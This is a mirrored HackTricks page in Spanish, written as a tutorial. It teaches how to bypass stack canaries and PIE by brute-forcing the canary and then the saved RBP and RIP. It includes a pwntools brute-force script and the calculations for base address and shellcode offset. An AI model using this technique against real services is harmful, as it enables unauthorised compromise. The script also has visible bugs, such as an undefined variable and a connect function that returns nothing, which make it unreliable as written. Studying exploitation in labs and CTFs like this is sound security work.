mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
91 lines
4.4 KiB
Markdown
91 lines
4.4 KiB
Markdown
# BF Addresses in the Stack
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**Si te enfrentas a un binario protegido por un canary y PIE (Position Independent Executable), probablemente necesites encontrar una forma de eludirlos.**
|
|
|
|
.png>)
|
|
|
|
> [!NOTE]
|
|
> Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canary si este fue compilado estáticamente y no es capaz de identificar la función.\
|
|
> Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
|
|
|
|
## Brute-Force Addresses
|
|
|
|
Para **eludir el PIE** necesitas **filtrar alguna dirección**. Y si el binario no está filtrando ninguna dirección, lo mejor que puedes hacer es **fuerza bruta el RBP y RIP guardados en la pila** en la función vulnerable.\
|
|
Por ejemplo, si un binario está protegido usando tanto un **canary** como **PIE**, puedes comenzar a forzar bruta el canary, luego los **siguientes** 8 Bytes (x64) serán el **RBP** guardado y los **siguientes** 8 Bytes serán el **RIP** guardado.
|
|
|
|
> [!TIP]
|
|
> Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, que, si la vulnerabilidad se encuentra en el código binario, generalmente será el caso.
|
|
|
|
Para forzar bruta el RBP y el RIP del binario, puedes deducir que un byte adivinado válido es correcto si el programa produce algo o simplemente no se bloquea. La **misma función** que se proporciona para forzar bruta el canary se puede usar para forzar bruta el RBP y el RIP:
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
# CANARY BF HERE
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
|
|
# PIE BF FROM HERE
|
|
print("Brute-Forcing RBP")
|
|
base_canary_rbp = get_bf(base_canary)
|
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
|
print("Brute-Forcing RIP")
|
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|
```
|
|
Lo último que necesitas para derrotar el PIE es calcular **direcciones útiles a partir de las direcciones filtradas**: el **RBP** y el **RIP**.
|
|
|
|
Desde el **RBP** puedes calcular **dónde estás escribiendo tu shell en la pila**. Esto puede ser muy útil para saber dónde vas a escribir la cadena _"/bin/sh\x00"_ dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un **punto de interrupción después de filtrar el RBP** y verificar **dónde se encuentra tu shellcode**, luego, puedes calcular la distancia entre el shellcode y el RBP:
|
|
```python
|
|
INI_SHELLCODE = RBP - 1152
|
|
```
|
|
Desde el **RIP** puedes calcular la **dirección base del binario PIE**, que es lo que necesitarás para crear una **cadena ROP válida**.\
|
|
Para calcular la dirección base, simplemente haz `objdump -d vunbinary` y verifica las últimas direcciones desensambladas:
|
|
|
|
.png>)
|
|
|
|
En ese ejemplo, puedes ver que solo se **necesitan 1 Byte y medio** para localizar todo el código, entonces, la dirección base en esta situación será el **RIP filtrado pero terminando en "000"**. Por ejemplo, si filtraste `0x562002970ecf`, la dirección base es `0x562002970000`
|
|
```python
|
|
elf.address = RIP - (RIP & 0xfff)
|
|
```
|
|
## Mejoras
|
|
|
|
Según [**algunas observaciones de esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script de BF pensará que obtuvo los correctos. Esto se debe a que **algunas direcciones simplemente no lo romperán incluso si no son exactamente las correctas**.
|
|
|
|
Según esa publicación del blog, se recomienda introducir un breve retraso entre las solicitudes al servidor.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|